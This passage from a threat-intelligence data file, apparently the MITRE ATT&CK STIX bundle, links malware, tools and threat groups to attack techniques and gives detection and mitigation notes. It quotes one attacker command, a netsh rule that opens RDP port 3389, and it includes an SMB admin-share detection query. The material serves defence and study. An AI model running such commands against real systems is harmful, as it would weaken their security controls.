"2023-10-13T16:37:01.270Z", "description": "[Pacu](https://attack.mitre.org/software/S1091) can allowlist IP addresses in AWS GuardDuty.(Citation: GitHub Pacu)", "relationship_type": "uses", "source_ref": "tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9", "target_ref": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a79ff150-e765-4303-9668-ff553d6000cd", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell Sakula", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}], "modified": "2020-03-17T02:29:53.449Z", "description": "[Sakula](https://attack.mitre.org/software/S0074) calls cmd.exe to run various DLL files via rundll32.(Citation: Dell Sakula)", "relationship_type": "uses", "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a7ad3949-0d4d-49a8-a2cd-3a0d5857ba92", "created": "2022-06-09T19:33:12.904Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Saint Bot April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/", "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}, {"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has established persistence by being copied to the Startup directory or through the `\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T20:50:33.007Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a7add7de-11f5-44df-b9c3-3cd431b970be", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T17:55:56.983Z", "description": "Monitor for newly constructed network connections (typically over ports 139 or 445), especially those that are sent or received by abnormal or untrusted hosts. Correlate these network connections with remote login events and associated SMB-related activity such as file transfers and remote process execution.\n\nNote: Event ID is for Zeek but can also be implemented in other Network Analysis Frameworks by parsing & decoding captured SMB2 network traffic. Preference would be to detect smb2_write_response event (instead of smb2_write_request), because it would confirm the file was actually written to the remote destination. Unfortunately, Bro/Zeek does not have an event for that SMB message-type yet. From a network traffic capture standpoint, it\u2019s important to capture the right traffic for this type of detection to function (e.g., all endpoint to endpoint if possible or workstation to server and workstation to workstation). As such, it is helpful to have a centralized server area where it is possible to monitor communications between servers and endpoints.\n\nAnalytic 1 and 2 are very similar, with the key difference being that Implementation 2 is intended to capture multiple attempts at lateral movement originating from the same host within a short time period (5 minutes).\n\n- smb2_write_request, smb1_write_andx_response is indication of an SMB file write to a Windows Admin File Share: ADMIN$ or C$\n\n- smb2_tree_connect_request, smb1_tree_connect_andx_request is observed originating from the same host, regardless of write-attempts and regardless of whether or not any connection is successful \u2014just connection attempts\u2014 within a specified period of time (REPEATS 5 TIMES WITHIN 5 MINUTES FROM SAME src_ip).\n\nFrom a network traffic capture standpoint, it\u2019s important to capture the right traffic for this type of detection to function (e.g., all endpoint to endpoint if possible or workstation to server and workstation to workstation). As such, it is helpful to have a centralized server area where it is possible to monitor communications between servers and endpoints.The Service Control Manager (SCM) can be used to copy a file to the ADMIN$ share and execute it as a service. This can be detected by looking for incoming RPC network connections to the Service Control Manager, followed by services.exe spawning a child process.\n\nAnalytic 1 - Basic\n<code>source=\"*Zeek:SMB_Files\" EventCode IN (\"smb2_write_request\", \"smb1_write_andx_response\", \"smb2_tree_connect_request\", \"smb1_tree_connect_andx_request\") AND (Path=\"ADMIN$\" OR Path=\"C$\")</code>\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7b07cff-8743-4fe9-9999-8ad32995fa95", "type": "relationship", "created": "2019-09-24T13:37:11.429Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks BRONZEUNION Feb 2019", "url": "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", "description": "Counter Threat Unit Research Team. (2019, February 27). A Peek into BRONZE UNION\u2019s Toolbox. Retrieved September 24, 2019."}], "modified": "2020-03-18T20:47:53.443Z", "description": "(Citation: Secureworks BRONZEUNION Feb 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7be99ec-2a20-406a-b552-7c32760bb52c", "type": "relationship", "created": "2021-10-15T16:57:22.397Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Arxiv Avaddon Feb 2021", "url": "https://arxiv.org/pdf/2102.04796.pdf", "description": "Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}], "modified": "2021-10-15T16:57:22.397Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) has enumerated shared folders and mapped volumes.(Citation: Arxiv Avaddon Feb 2021)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7c6693e-d1e2-4396-982f-85978c9b97a3", "type": "relationship", "created": "2021-01-28T19:56:08.914Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion EvilNum May 2020", "url": "https://www.prevailion.com/phantom-in-the-command-shell-2/", "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}], "modified": "2022-01-19T18:23:53.034Z", "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can make modifications to the Regsitry for persistence.(Citation: Prevailion EvilNum May 2020)", "relationship_type": "uses", "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a7c79cef-cd50-4106-a78d-fc56cb2da51a", "created": "2022-09-28T13:41:23.199Z", "revoked": false, "external_references": [{"source_name": "MagicWeb", "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM\u2019s post-compromise trick to authenticate as anyone. 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For example, limit Azure AD Global Administrator accounts to only those required, and ensure that these are dedicated cloud-only accounts rather than hybrid ones.(Citation: MagicWeb)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7cb0193-e854-4361-b1a1-fc4e68354c59", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf", "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", "source_name": "Fidelis Turbo"}], "modified": "2019-08-16T18:52:50.584Z", "description": "[Derusbi](https://attack.mitre.org/software/S0021) obfuscates C2 traffic with variable 4-byte XOR keys.(Citation: Fidelis Turbo)", "relationship_type": "uses", "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7cba2fb-a90f-4dd1-ae33-3747d5a9c873", "type": "relationship", "created": "2022-03-25T14:32:35.649Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Donut Github", "url": "https://github.com/TheWover/donut", "description": "TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}], "modified": "2022-03-25T14:50:00.980Z", "description": "[Donut](https://attack.mitre.org/software/S0695) can generate code modules that enable in-memory execution of VBScript, JScript, EXE, DLL, and dotNET payloads.(Citation: Donut Github)", "relationship_type": "uses", "source_ref": "tool--a7b5df47-73bb-4d47-b701-869f185633a6", "target_ref": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7cdf456-9ad0-402b-a914-5f1ebcd873a3", "type": "relationship", "created": "2020-06-01T14:41:54.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-06-01T14:41:54.876Z", "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to communicate with C2 with TCP over port 443.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7d7b40a-aae7-4fbc-a1c9-f6c7b756c4dd", "type": "relationship", "created": "2021-09-21T21:48:15.830Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}], "modified": "2021-10-18T13:19:48.751Z", "description": "[Turian](https://attack.mitre.org/software/S0647) has the ability to use Python to spawn a Unix shell.(Citation: ESET BackdoorDiplomacy Jun 2021)", "relationship_type": "uses", "source_ref": "malware--350f12cf-fd3b-4dad-b323-14b943090df4", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7e27068-7c65-45a0-968e-4871720f3348", "type": "relationship", "created": "2020-09-24T13:19:42.643Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:07:59.901Z", "description": "[RegDuke](https://attack.mitre.org/software/S0511) can use Dropbox as its C2 server.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--47124daf-44be-4530-9c63-038bc64318dd", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7e5ffbc-d123-4f62-88eb-36b32656cd35", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco H1N1 Part 2", "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}], "modified": "2019-04-29T18:23:16.002Z", "description": "[H1N1](https://attack.mitre.org/software/S0132) contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests.(Citation: Cisco H1N1 Part 2)", "relationship_type": "uses", "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7eba275-7ec2-4233-ad23-095ddf5c74f8", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor network data for uncommon data flows. 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Retrieved April 5, 2021."}], "modified": "2021-10-01T01:57:31.867Z", "description": "(Citation: Unit 42 Hildegard Malware)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8241c03-c375-459e-b47a-f03b3c4af29a", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor for unusual processes access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a829622f-60cf-4e24-afce-fb89270e95cb", "type": "relationship", "created": "2020-03-20T00:22:39.402Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. 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Retrieved March 9, 2017.", "source_name": "ESET RTM Feb 2017"}, {"source_name": "Unit42 Redaman January 2019", "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}], "modified": "2020-06-16T20:51:14.106Z", "description": "[RTM](https://attack.mitre.org/software/S0148) monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a8362ccc-cf32-4f36-a4a3-cfcf70dd4c54", "created": "2024-02-09T18:43:11.857Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. 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(2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.", "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}, {"source_name": "DFIR Report APT35 ProxyShell March 2022", "description": "DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.", "url": "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-11T20:27:55.538Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has added the following rule to a victim's Windows firewall to allow RDP traffic - `\"netsh\" advfirewall firewall add rule name=\"Terminal Server\" dir=in action=allow protocol=TCP localport=3389`.(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a83992e1-5be5-433e-b3f1-d9ccde98c9ca", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. 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[FIN8](https://attack.mitre.org/groups/G0061) has also used smbexec from the [Impacket](https://attack.mitre.org/software/S0357) suite for lateral movement.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Bitdefender Sardonic Aug 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a840fb6f-9a16-496b-b148-bc6fe40b8160", "type": "relationship", "created": "2022-03-30T14:26:51.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.862Z", "description": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8484e9d-ad08-4d2c-8328-24552dd22f35", "type": "relationship", "created": "2020-07-15T19:02:25.121Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM IcedID November 2017", "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."}, {"source_name": "Juniper IcedID June 2020", "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}], "modified": "2020-07-15T20:10:03.976Z", "description": "[IcedID](https://attack.mitre.org/software/S0483) has the ability to download additional modules and a configuration file from C2.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)", "relationship_type": "uses", "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a848dadb-f97f-4ded-a28e-a1c9954804a6", "type": "relationship", "created": "2020-10-09T16:24:40.149Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Maze VM September 2020", "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}], "modified": "2020-10-09T17:02:21.761Z", "description": "[Maze](https://attack.mitre.org/software/S0449) has created scheduled tasks using name variants such as \"Windows Update Security\", \"Windows Update Security Patches\", and \"Google Chrome Security Update\", to launch [Maze](https://attack.mitre.org/software/S0449) at a specific time.(Citation: Sophos Maze VM September 2020)", "relationship_type": "uses", "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8519c68-ab22-4254-bd22-c76b71de1b9e", "type": "relationship", "created": "2021-01-20T18:13:37.568Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-20T18:23:31.728Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used multiple password spraying attacks against victim's remote services to obtain valid user and administrator accounts.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a854160c-308d-4221-92b4-1ab5ce2b7291", "type": "relationship", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.833Z", "description": "Monitor newly executed processes that may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a86529ff-e584-4566-afb9-6ffc366fd154", "created": "2023-09-06T14:23:26.806Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender Sardonic Aug 2021", "description": "Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:34:13.642Z", "description": "[Sardonic](https://attack.mitre.org/software/S1085) has the ability to execute the `net start` command.(Citation: Bitdefender Sardonic Aug 2021)", "relationship_type": "uses", "source_ref": "malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8689b2d-917b-432d-97ea-7b06a2da0bee", "type": "relationship", "created": "2020-02-11T18:30:21.127Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T18:30:21.127Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a868dec8-2bfc-449e-b720-d4e6c7e37d13", "type": "relationship", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.870Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow 